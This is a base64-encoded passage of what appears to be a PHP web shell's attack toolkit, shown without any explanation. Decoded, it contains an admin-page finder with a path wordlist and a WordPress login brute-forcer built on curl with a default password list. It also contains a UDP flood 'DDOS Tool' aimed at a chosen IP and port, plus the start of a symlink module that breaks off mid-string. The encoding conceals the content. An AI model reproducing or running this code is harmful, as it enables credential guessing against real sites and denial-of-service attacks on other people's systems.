bG9naW4uYXNwDQp1c2VyLmFzcA0Kd2ViYWRtaW4vaW5kZXguYXNwDQp3ZWJhZG1pbi9hZG1pbi5hc3ANCndlYmFkbWluL2xvZ2luLmFzcA0KYWRtaW4vYWRtaW5fbG9naW4uYXNwDQphZG1pbl9sb2dpbi5hc3ANCnBhbmVsLWFkbWluaXN0cmFjaW9uL2xvZ2luLmFzcA0KYWRtaW5Mb2dpbi5hc3ANCmFkbWluL2FkbWluTG9naW4uYXNwDQpob21lLmFzcA0KYWRtaW5hcmVhL2luZGV4LmFzcA0KYWRtaW5hcmVhL2FkbWluLmFzcA0KYWRtaW5hcmVhL2xvZ2luLmFzcA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vaW5kZXguYXNwDQpwYW5lbC1hZG1pbmlzdHJhY2lvbi9hZG1pbi5hc3ANCm1vZGVsc2VhcmNoL2luZGV4LmFzcA0KbW9kZWxzZWFyY2gvYWRtaW4uYXNwDQphZG1pbmNvbnRyb2wvbG9naW4uYXNwDQphZG0vYWRtbG9naW51c2VyLmFzcA0KYWRtbG9naW51c2VyLmFzcA0KYWRtaW4yL2xvZ2luLmFzcA0KYWRtaW4yL2luZGV4LmFzcA0KYWRtL2luZGV4LmFzcA0KYWRtLmFzcA0KYWZmaWxpYXRlLmFzcA0KYWRtX2F1dGguYXNwDQptZW1iZXJhZG1pbi5hc3ANCmFkbWluaXN0cmF0b3Jsb2dpbi5hc3ANCnNpdGVhZG1pbi9sb2dpbi5hc3ANCnNpdGVhZG1pbi9pbmRleC5hc3ANCkFETUlOLw0KcGFuZWxkZWNvbnRyb2wvDQpsb2dpbi8NCmNtcy8NCmFkbW9uLw0KQURNT04vDQphZG1pbmlzdHJhZG9yLw0KQURNSU4vbG9naW4ucGhwDQpwYW5lbGMvDQpBRE1JTi9sb2dpbi5odG1sIjsNCmZ1bmN0aW9uIHRlbXBsYXRlKCkgew0KZWNobyAnDQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCjwhLS0NCmZ1bmN0aW9uIGluc2VydGNvZGUoJHRleHQsICRwbGFjZSwgJHJlcGxhY2UpDQp7DQogICAgdmFyICR0aGlzID0gJHRleHQ7DQogICAgdmFyIGxvZ2JveCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCRwbGFjZSk7DQogICAgaWYoJHJlcGxhY2UgPT0gMCkNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJHBsYWNlKS5pbm5lckhUTUwgPSBsb2dib3guaW5uZXJIVE1MKyR0aGlzOw0KICAgIGVsc2UNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJHBsYWNlKS5pbm5lckhUTUwgPSAkdGhpczsNCi8vZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlbHBib3giKS5pbm5lckhUTUwgPSAkdGhpczsNCn0NCi0tPg0KPC9zY3JpcHQ+DQo8YnI+DQo8YnI+DQo8aDEgY2xhc3M9InRlY2huaXF1ZS10d28iPg0KICAgICAgIA0KDQoNCjwvaDE+DQoNCjxkaXYgY2xhc3M9IndyYXBwZXIiPg0KPGRpdiBjbGFzcz0icmVkIj4NCjxkaXYgY2xhc3M9InR1YmUiPg0KPGNlbnRlcj48dGFibGUgY2xhc3M9InRhYm5ldCI+PHRoIGNvbHNwYW49IjIiPkFkbWluIEZpbmRlcjwvdGg+PHRyPjx0ZD4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG5hbWU9InhwbG9pdF9mb3JtIj4NCg0KPHRyPg0KPHRyPg0KCTxiPjx0ZD5VUkw8L3RkPg0KCTx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ieHBsb2l0X3VybCIgdmFsdWU9IicuJF9QT1NUWyd4cGxvaXRfdXJsJ10uJyIgc3R5bGU9IndpZHRoOiAzNTBweDsiIC8+DQoJPC90ZD4NCjwvdHI+PHRyPg0KCTx0ZD40MDQgc3RyaW5nPC90ZD4NCgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InhwbG9pdF80MDRzdHJpbmciIHZhbHVlPSInLiRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddLiciIHN0eWxlPSJ3aWR0aDogMzUwcHg7IiAvPg0KCTwvdGQ+PC9iPg0KPC90cj48YnI+PHRkPg0KPHNwYW4gc3R5bGU9ImZsb2F0OiBjZW50ZXI7Ij48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ4cGxvaXRfc3VibWl0IiB2YWx1ZT0iIFN0YXJ0IFNjYW4iIGFsaWduPSJjZW50ZXIiIC8+DQo8L3NwYW4+PC90ZD48L3RyPg0KPC9mb3JtPjwvdGQ+PC90cj4NCjxiciAvPjwvdGFibGU+DQo8L2Rpdj4gPCEtLSAvdHViZSAtLT4NCjwvZGl2PiA8IS0tIC9yZWQgLS0+DQo8YnIgLz4NCjxkaXYgY2xhc3M9ImdyZWVuIj4NCjxkaXYgY2xhc3M9InR1YmUiIGlkPSJyaWdodGNvbCI+DQpWZXJpZmljYXQ6IDxzcGFuIGlkPSJ2ZXJpZmllZCI+MDwvc3Bhbj4gLyA8c3BhbiBpZD0idG90YWwiPjA8L3NwYW4+PGJyIC8+DQo8Yj5Gb3VuZCBvbmVzOjxiciAvPjwvYj4NCjwvZGl2PiA8IS0tIC90dWJlIC0tPg0KPC9kaXY+PC9jZW50ZXI+PCEtLSAvZ3JlZW4gLS0+DQo8YnIgY2xlYXI9ImFsbCIgLz48YnIgLz4NCjxkaXYgY2xhc3M9ImJsdWUiPg0KPGRpdiBjbGFzcz0idHViZSIgaWQ9ImxvZ2JveCI+DQo8YnIgLz4NCjxiciAvPg0KQWRtaW4gcGFnZSBGaW5kZXIgOjxiciAvPjxiciAvPg0KPC9kaXY+IDwhLS0gL3R1YmUgLS0+DQo8L2Rpdj4gPCEtLSAvYmx1ZSAtLT4NCjwvZGl2PiA8IS0tIC93cmFwcGVyIC0tPg0KPGJyIGNsZWFyPSJhbGwiPjxicj4nOw0KfQ0KZnVuY3Rpb24gc2hvdygkbXNnLCAkYnI9MSwgJHN0b3A9MCwgJHBsYWNlPSdsb2dib3gnLCAkcmVwbGFjZT0wKSB7DQogICAgaWYoJGJyID09IDEpICRtc2cgLj0gIjxiciAvPiI7DQogICAgZWNobyAiPHNjcmlwdCB0eXBlPVwidGV4dC9qYXZhc2NyaXB0XCI+aW5zZXJ0Y29kZSgnIi4kbXNnLiInLCAnIi4kcGxhY2UuIicsICciLiRyZXBsYWNlLiInKTs8L3NjcmlwdD4iOw0KICAgIGlmKCRzdG9wID09IDEpIGV4aXQ7DQogICAgQGZsdXNoKCk7QG9iX2ZsdXNoKCk7DQp9DQpmdW5jdGlvbiBjaGVjaygkeCwgJGZyb250PTApIHsNCiAgICBnbG9iYWwgJF9QT1NULCRzaXRlLCRmYWxzZTsNCiAgICBpZigkZnJvbnQgPT0gMCkgJHQgPSAkc2l0ZS4keDsNCiAgICBlbHNlICR0ID0gJ2h0dHA6Ly8nLiR4LicuJy4kc2l0ZS4nLyc7DQogICAgJGhlYWRlcnMgPSBnZXRfaGVhZGVycygkdCk7DQogICAgaWYgKCFlcmVnaSgnMjAwJywgJGhlYWRlcnNbMF0pKSByZXR1cm4gMDsNCiAgICAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkdCk7DQogICAgaWYoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gPT0gIiIpIGlmKCRkYXRhID09ICRmYWxzZSkgcmV0dXJuIDA7DQogICAgaWYoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gIT0gIiIpIGlmKHN0cnBvcygkZGF0YSwgJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10pKSByZXR1cm4gMDsNCiAgICByZXR1cm4gMTsNCn0NCiAgIA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnRlbXBsYXRlKCk7DQppZighaXNzZXQoJF9QT1NUWyd4cGxvaXRfdXJsJ10pKSBkaWU7DQppZigkX1BPU1RbJ3hwbG9pdF91cmwnXSA9PSAnJykgZGllOw0KJHNpdGUgPSAkX1BPU1RbJ3hwbG9pdF91cmwnXTsNCmlmICgkc2l0ZVtzdHJsZW4oJHNpdGUpLTFdICE9ICIvIikgJHNpdGUgLj0gIi8iOw0KaWYoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gPT0gIiIpICRmYWxzZSA9IEBmaWxlX2dldF9jb250ZW50cygkc2l0ZS4iZDY1ODk3ZjUzODBhMjFhNDJkYjk0YjM5MjdiODIzZDU2ZWUxMDk5YS10aGlzX2Nhbi10X2V4aXN0Lmh0bWwiKTsNCiRsaXN0WydlbmQnXSA9IHN0cl9yZXBsYWNlKCJcciIsICIiLCAkbGlzdFsnZW5kJ10pOw0KJGxpc3RbJ2Zyb250J10gPSBzdHJfcmVwbGFjZSgiXHIiLCAiIiwgJGxpc3RbJ2Zyb250J10pOw0KJHBhdGhlcyA9IGV4cGxvZGUoIlxuIiwgJGxpc3RbJ2VuZCddKTsNCiRmcm9udHBhdGhlcyA9IGV4cGxvZGUoIlxuIiwgJGxpc3RbJ2Zyb250J10pOw0Kc2hvdyhjb3VudCgkcGF0aGVzKStjb3VudCgkZnJvbnRwYXRoZXMpLCAxLCAwLCAndG90YWwnLCAxKTsNCiR2ZXJpZmljYXRlID0gMDsNCmZvcmVhY2goJHBhdGhlcyBhcyAkcGF0aCkgew0KICAgIHNob3coJ0NoZWNraW5nICcuJHNpdGUuJHBhdGguJyA6ICcsIDAsIDAsICdsb2dib3gnLCAwKTsNCiAgICAkdmVyaWZpY2F0ZSsrOyBzaG93KCR2ZXJpZmljYXRlLCAwLCAwLCAndmVyaWZpZWQnLCAxKTsNCiAgICBpZihjaGVjaygkcGF0aCkgPT0gMCkgc2hvdygnbm90IGZvdW5kJywgMSwgMCwgJ2xvZ2JveCcsIDApOw0KICAgIGVsc2V7DQogICAgICAgIHNob3coJzxzcGFuIHN0eWxlPSJjb2xvcjogI0ZGMDAwMDsiPjxzdHJvbmc+Zm91bmQ8L3N0cm9uZz48L3NwYW4+JywgMSwgMCwgJ2xvZ2JveCcsIDApOw0KICAgICAgICBzaG93KCc8YSBocmVmPSInLiRzaXRlLiRwYXRoLiciPicuJHNpdGUuJHBhdGguJzwvYT4nLCAxLCAwLCAncmlnaHRjb2wnLCAwKTsNCiAgICB9DQp9DQpwcmVnX21hdGNoKCIvXC9cLyguKj8pXC8vaSIsICRzaXRlLCAkeHgpOyAkc2l0ZSA9ICR4eFsxXTsNCmlmKHN1YnN0cigkc2l0ZSwgMCwgMykgPT0gInd3dyIpICRzaXRlID0gc3Vic3RyKCRzaXRlLCA0KTsNCmZvcmVhY2goJGZyb250cGF0aGVzIGFzICRmcm9udHBhdGgpIHsNCiAgICBzaG93KCdDaGVja2luZyBodHRwOi8vJy4kZnJvbnRwYXRoLicuJy4kc2l0ZS4nLyA6ICcsIDAsIDAsICdsb2dib3gnLCAwKTsNCiAgICAkdmVyaWZpY2F0ZSsrOyBzaG93KCR2ZXJpZmljYXRlLCAwLCAwLCAndmVyaWZpZWQnLCAxKTsNCiAgICBpZihjaGVjaygkZnJvbnRwYXRoLCAxKSA9PSAwKSBzaG93KCdub3QgZm91bmQnLCAxLCAwLCAnbG9nYm94JywgMCk7DQogICAgZWxzZXsNCiAgICAgICAgc2hvdygnPHNwYW4gc3R5bGU9ImNvbG9yOiAjRkYwMDAwOyI+PHN0cm9uZz5mb3VuZDwvc3Ryb25nPjwvc3Bhbj4nLCAxLCAwLCAnbG9nYm94JywgMCk7DQogICAgICAgIHNob3coJzxhIGhyZWY9Imh0dHA6Ly8nLiRmcm9udHBhdGguJy4nLiRzaXRlLicvIj4nLiRmcm9udHBhdGguJy4nLiRzaXRlLic8L2E+JywgMSwgMCwgJ3JpZ2h0Y29sJywgMCk7DQogICAgfQ0KICAgDQp9DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd3cGJydXRlJykpDQp7CQ0KPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD13cGJydXRlIiBtZXRob2Q9InBvc3QiPg0KPGNlbnRlcj4NCjxicj48QnI+PGI+PGZvbnQgc2l6ZT0nMicgPi0tPT1bIFdvcmRwcmVzcyBCcnV0ZSBGb3JjZSBdPT0tLTwvZm9udD48YnI+DQo8Y2VudGVyPjxwPlRoYW5rcyBUbyA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vYW50b24xMTUiIHRhcmdldD0iX2JsYW5rIj5DYWhfYmFndXM8L2E+PC9wPjwvYj48L2NlbnRlcj4NCjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+DQogIDx0YWJsZSB3aWR0aD0nNjI0JyBib3JkZXI9JzAnIGNsYXNzPSd0YWJuZXQnIGlkPSdCb3gnPg0KICA8dHI+PHRoIGNvbHNwYW49IjUiPldvcmRwcmVzcyBCcnV0ZSBGb3JjZTwvdGg+PC90cj4NCiAgICANCg0KICAgIDx0cj4NCiAgICAgIDx0ZCA+Jm5ic3A7PC90ZD4NCiAgICAgIDx0ZCA+PHA+SG9zdHM6PC9wPjwvdGQ+DQogICAgICA8dGQgPjxwPiBVc2Vyczo8L3A+PC90ZD4NCiAgICAgIDx0ZCA+PHA+UGFzc3dvcmRzOjwvcD48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgICA8dGQgPjx0ZXh0YXJlYSBzdHlsZT0iYmFja2dyb3VuZDpibGFjazsiIG5hbWU9Imhvc3RzIiBjb2xzPSIzMCIgcm93cz0iMTAiID48P3BocCBpZigkX1BPU1Qpe2VjaG8gJF9QT1NUWydob3N0cyddO30gPz48L3RleHRhcmVhPjwvdGQ+DQogICAgICA8dGQgPjx0ZXh0YXJlYSBzdHlsZT0iYmFja2dyb3VuZDpibGFjazsiIG5hbWU9InVzZXJuYW1lcyIgY29scz0iMzAiIHJvd3M9IjEwIiAgPjw/cGhwIGlmKCRfUE9TVCl7ZWNobyAkX1BPU1RbJ3VzZXJuYW1lcyddO31lbHNlIHtlY2hvICJhZG1pbiI7fSA/PjwvdGV4dGFyZWE+PC90ZD4NCiAgICAgIDx0ZCA+PHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgbmFtZT0icGFzc3dvcmRzIiBjb2xzPSIzMCIgcm93cz0iMTAiICA+PD9waHAgaWYoJF9QT1NUKXtlY2hvICRfUE9TVFsncGFzc3dvcmRzJ107fWVsc2Uge2VjaG8gImFkbWluXG5hZG1pbmlzdHJhdG9yXG4xMjMxMjNcbjEyMzMyMVxuMTIzNDU2XG4xMjM0NTY3XG4xMjM0NTY3OFxuMTIzNDU2Nzg5XG4xMjM0NTYxMjM0NTZcbmFkbWluMjAxMFxuYWRtaW4yMDExXG5wYXNzd29yZFxuUEBzc1cwcmRcbiFAIyQlXlxuIUAjJCVeJiooXG4oKiZeJSQjQCFcbjExMTExMVxuMjIyMjIyXG5jNDA5MDlcbjQ0NDQ0NFxuNTU1NTU1XG42NjY2NjZcbjc3Nzc3N1xuODg4ODg4XG45OTk5OTkiO30gPz48L3RleHRhcmVhPjwvdGQ+DQogICAgPC90cj4NCjx0cj48dGQgY29sc3Bhbj0iNCI+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgTm93IiAgLz4NCjw/cGhwDQppZigkX1BPU1QpDQp7DQoJJGhvc3RzID0gdHJpbShmaWx0ZXIoJF9QT1NUWydob3N0cyddKSk7DQoJJHBhc3N3b3JkcyA9IHRyaW0oZmlsdGVyKCRfUE9TVFsncGFzc3dvcmRzJ10pKTsNCgkkdXNlcm5hbWVzID0gdHJpbShmaWx0ZXIoJF9QT1NUWyd1c2VybmFtZXMnXSkpOw0KDQoJaWYoJHBhc3N3b3JkcyAmJiAkdXNlcm5hbWVzICYmICRob3N0cykNCgl7DQoJCSRob3N0c19leHBsb2RlID0gZXhwbG9kZSgiXG4iLCAkaG9zdHMpOw0KCQkkdXNlcm5hbWVzX2V4cGxvZGUgPSBleHBsb2RlKCJcbiIsICR1c2VybmFtZXMpOw0KICAgIAkkcGFzc3dvcmRzX2V4cGxvZGUgPSBleHBsb2RlKCJcbiIsICRwYXNzd29yZHMpOw0KDQoJCWZvcmVhY2goJGhvc3RzX2V4cGxvZGUgYXMgJGhvc3QpDQoJCXsNCgkJCSRob3N0ID0gUmVtb3ZlTGFzdFNsYXNoKCRob3N0KTsNCgkJCSRoYWNrZWQgPSAwOw0KCQkJJGhvc3QgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwid3d3LiIpLCIiLHRyaW0oJGhvc3QpKTsNCgkJCSRob3N0ID0gImh0dHA6Ly8iLiRob3N0Ow0KCQkJJHdwQWRtaW4gPSAkaG9zdC4nL3dwLWFkbWluLyc7DQoNCgkJCWlmKCF1cmxfZXhpc3RzKCRob3N0LiIvd3AtbG9naW4ucGhwIikpDQoJCQl7ZWNobyAiPHA+Ii4kaG9zdC4iID0+IDxmb250IGNvbG9yPSdyZWQnPkVycm9yIEluIExvZ2luIFBhZ2UgITwvZm9udD48L3A+IjtvYl9mbHVzaCgpO2ZsdXNoKCk7Y29udGludWU7fQ0KDQoJCQlmb3JlYWNoKCR1c2VybmFtZXNfZXhwbG9kZSBhcyAkdXNlcm5hbWUpDQoJCQl7DQoJCQkJZm9yZWFjaCgkcGFzc3dvcmRzX2V4cGxvZGUgYXMgJHBhc3N3b3JkKQ0KCQkJCXsNCgkJCQkJJGNoICAgPSAgICAgY3VybF9pbml0KCk7DQoJCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsJGhvc3QuJy93cC1sb2dpbi5waHAnKTsNCgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfQ09PS0lFSkFSLCJjb2tpLnR4dCIpOw0KCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9DT09LSUVGSUxFLCJjb2tpLnR4dCIpOw0KCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsNCgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVCxUUlVFKTsNCgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVEZJRUxEUywibG9nPSIuJHVzZXJuYW1lLiImcHdkPSIuJHBhc3N3b3JkLiImd3Atc3VibWl0PUdpcmkmIzgyMDc7Ii4iJnJlZGlyZWN0X3RvPSIuJHdwQWRtaW4uIiZ0ZXN0Y29va2llPTEiKTsNCgkJCQkJJGxvZ2luICAgID0JICAgY3VybF9leGVjKCRjaCk7DQoNCgkJCQkJaWYoZXJlZ2kgKCJwcm9maWxlLnBocCIsJGxvZ2luKSApDQoJCQkJCXsNCgkJCQkJCSRoYWNrZWQgPSAxOw0KCQkJCQkJZWNobyAiPHA+Ii4kaG9zdC4iID0+IFVzZXJOYW1lIDogWzxmb250IGNvbG9yPSdncmVlbic+Ii4kdXNlcm5hbWUuIjwvZm9udD5dIDogUGFzc3dvcmQgOiBbPGZvbnQgY29sb3I9J2dyZWVuJz4iLiRwYXNzd29yZC4iPC9mb250Pl08L3A+IjsNCgkJCQkJCW9iX2ZsdXNoKCk7Zmx1c2goKTticmVhazsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZigkaGFja2VkID09IDEpe2JyZWFrO30NCgkJCX0NCgkJCWlmKCRoYWNrZWQgPT0gMCkNCgkJCXtlY2hvICI8cD4iLiRob3N0LiIgPT4gPGZvbnQgY29sb3I9J3JlZCc+RmFpbGVkICE8L2ZvbnQ+PC9wPiI7b2JfZmx1c2goKTtmbHVzaCgpO30NCgkJfQ0KCX0NCgllbHNlIHtlY2hvICI8cD48Zm9udCBjb2xvcj0ncmVkJz5BbGwgZmllbGRzIGFyZSBSZXF1aXJlZCAhIDwvZm9udD48L3A+Ijt9DQp9DQo/Pg0KPC90ZD48L3RyPg0KPC90YWJsZT48L2Zvcm0+PC9jZW50ZXI+DQo8P3BocA0KZnVuY3Rpb24gdXJsX2V4aXN0cygkc3RyVVJMKQ0Kew0KICAgICRyZXNVUkwgPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkcmVzVVJMLCBDVVJMT1BUX1VSTCwgJHN0clVSTCk7DQogICAgY3VybF9zZXRvcHQoJHJlc1VSTCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgMSk7DQogICAgY3VybF9zZXRvcHQoJHJlc1VSTCwgQ1VSTE9QVF9IRUFERVJGVU5DVElPTiwgJ2N1cmxIZWFkZXJDYWxsYmFjaycpOw0KICAgIGN1cmxfc2V0b3B0KCRyZXNVUkwsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOw0KICAgIGN1cmxfZXhlYyAoJHJlc1VSTCk7DQogICAgJGludFJldHVybkNvZGUgPSBjdXJsX2dldGluZm8oJHJlc1VSTCwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCiAgICBjdXJsX2Nsb3NlICgkcmVzVVJMKTsNCiAgICBpZiAoJGludFJldHVybkNvZGUgIT0gMjAwKXtyZXR1cm4gZmFsc2U7fQ0KCWVsc2V7cmV0dXJuIHRydWUgO30NCn0NCmZ1bmN0aW9uIGZpbHRlcigkc3RyaW5nKQ0Kew0KCWlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgIT0gMCl7cmV0dXJuIHN0cmlwc2xhc2hlcygkc3RyaW5nKTsJfQ0KCWVsc2V7cmV0dXJuICRzdHJpbmc7CX0NCn0NCmZ1bmN0aW9uIFJlbW92ZUxhc3RTbGFzaCgkaG9zdCkNCnsNCglpZihzdHJycG9zKCRob3N0LCAnLycsIC0xKSA9PSBzdHJsZW4oJGhvc3QpLTEpDQoJe3JldHVybiBzdWJzdHIoJGhvc3QsMCxzdHJycG9zKCRob3N0LCAnLycsIC0xKSk7fQ0KCWVsc2V7cmV0dXJuICRob3N0O30NCn0NCmVjaG8gIjwvcD4iOw0KfQ0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb3MnKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWRvcyIgbWV0aG9kPSJwb3N0Ij4NCjxjZW50ZXI+PGJyPjxicj48YnI+DQpZb3VyIElQOiA8Zm9udCBjb2xvcj0icmVkIj48Yj48P3BocCBlY2hvICRteV9pcDsgPz48L2I+PC9mb250PiZuYnNwOyhEb24ndCBERE9TIHlvdXJzZWxmIG5vb2IpPGJyPjxicj4NCjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzMzcHg7cGFkZGluZzowIDFweDsiPg0KPHRoIGNvbHNwYW49IjUiPkRET1MgVG9vbDwvdGg+DQo8dHI+PHRyPjx0ZD5JUCBUYXJnZXQ8L3RkPjx0ZD46PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgbmFtZT0iaXAiIHNpemU9IjQ4IiBtYXhsZW5ndGg9IjI1IiAgdmFsdWUgPSAiMC4wLjAuMCIgb25ibHVyID0gImlmICggdGhpcy52YWx1ZT09JycgKSB0aGlzLnZhbHVlID0gJzAuMC4wLjAnOyIgb25mb2N1cyA9ICIgaWYgKCB0aGlzLnZhbHVlID09ICcwLjAuMC4wJyApIHRoaXMudmFsdWUgPSAnJzsiLz4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+VGltZTwvdGQ+PHRkPjo8L3RkPg0KPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBuYW1lPSJ0aW1lIiBzaXplPSI0OCIgbWF4bGVuZ3RoPSIyNSIgIHZhbHVlID0gInRpbWUgKGluIHNlY29uZHMpIiBvbmJsdXIgPSAiaWYgKCB0aGlzLnZhbHVlPT0nJyApIHRoaXMudmFsdWUgPSAndGltZSAoaW4gc2Vjb25kcyknOyIgb25mb2N1cyA9ICIgaWYgKCB0aGlzLnZhbHVlID09ICd0aW1lIChpbiBzZWNvbmRzKScgKSB0aGlzLnZhbHVlID0gJyc7Ii8+DQo8L3RkPjwvdHI+DQoNCjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjo8L3RkPg0KPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBuYW1lPSJwb3J0IiBzaXplPSI0OCIgbWF4bGVuZ3RoPSI1IiAgdmFsdWUgPSAicG9ydCIgb25ibHVyID0gImlmICggdGhpcy52YWx1ZT09JycgKSB0aGlzLnZhbHVlID0gJ3BvcnQnOyIgb25mb2N1cyA9ICIgaWYgKCB0aGlzLnZhbHVlID09ICdwb3J0JyApIHRoaXMudmFsdWUgPSAnJzsiLz4NCjwvdGQ+PC90cj48L3RyPjwvdGFibGU+PC9iPjxicj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIG5hbWU9ImZpcmUiIHZhbHVlPSIgIEZpcmVlICEhISAgICI+DQo8YnI+PGJyPg0KPGNlbnRlcj4NCkFmdGVyIGluaXRpYXRpbmcgdGhlIERET1MgYXR0YWNrLCBwbGVhc2Ugd2FpdCB3aGlsZSB0aGUgYnJvd3NlciBsb2Fkcy4NCjwvY2VudGVyPg0KDQo8L2Zvcm0+DQo8L2NlbnRlcj4NCjw/cGhwDQokc3VibWl0ID0gJF9QT1NUWydmaXJlJ107DQppZiAoaXNzZXQoJHN1Ym1pdCkpIHsNCg0KJHBhY2tldHMgPSAwOw0KJGlwID0gJF9QT1NUWydpcCddOw0KJHJhbmQgPSAkX1BPU1RbJ3BvcnQnXTsNCnNldF90aW1lX2xpbWl0KDApOw0KaWdub3JlX3VzZXJfYWJvcnQoRkFMU0UpOw0KDQokZXhlY190aW1lID0gJF9QT1NUWyd0aW1lJ107DQoNCiR0aW1lID0gdGltZSgpOw0KcHJpbnQgIkZsb29kZWQ6ICRpcCBvbiBwb3J0ICRyYW5kIDxicj48YnI+IjsNCiRtYXhfdGltZSA9ICR0aW1lKyRleGVjX3RpbWU7DQoNCg0KDQpmb3IoJGk9MDskaTw2NTUzNTskaSsrKXsNCiAgICAgICAgJG91dCAuPSAiWCI7DQp9DQp3aGlsZSgxKXsNCiRwYWNrZXRzKys7DQogICAgICAgIGlmKHRpbWUoKSA+ICRtYXhfdGltZSl7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRmcCA9IGZzb2Nrb3BlbigidWRwOi8vJGlwIiwgJHJhbmQsICRlcnJubywgJGVycnN0ciwgNSk7DQogICAgICAgIGlmKCRmcCl7DQogICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJG91dCk7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgIH0NCn0NCmVjaG8gIlBhY2tldCBjb21wbGV0ZSBhdCAiLnRpbWUoJ2g6aTpzJykuIiB3aXRoICRwYWNrZXRzICgiIC4gcm91bmQoKCRwYWNrZXRzKjY1KS8xMDI0LCAyKSAuICIgbUIpIHBhY2tldHMgYXZlcmFnaW5nICIuIHJvdW5kKCRwYWNrZXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzL3MgXG4iOw0KfQ0KfQ0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3N5bWxpbmsnKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXN5bWxpbmsiIG1ldGhvZD0icG9zdCI+DQoNCjw/cGhwICAgDQoNCkBzZXRfdGltZV9saW1pdCgwKTsNCg0KZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT4tLT09WyBTeW1saW5rIF09PS0tPC9oMT48L2NlbnRlcj48YnI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz1j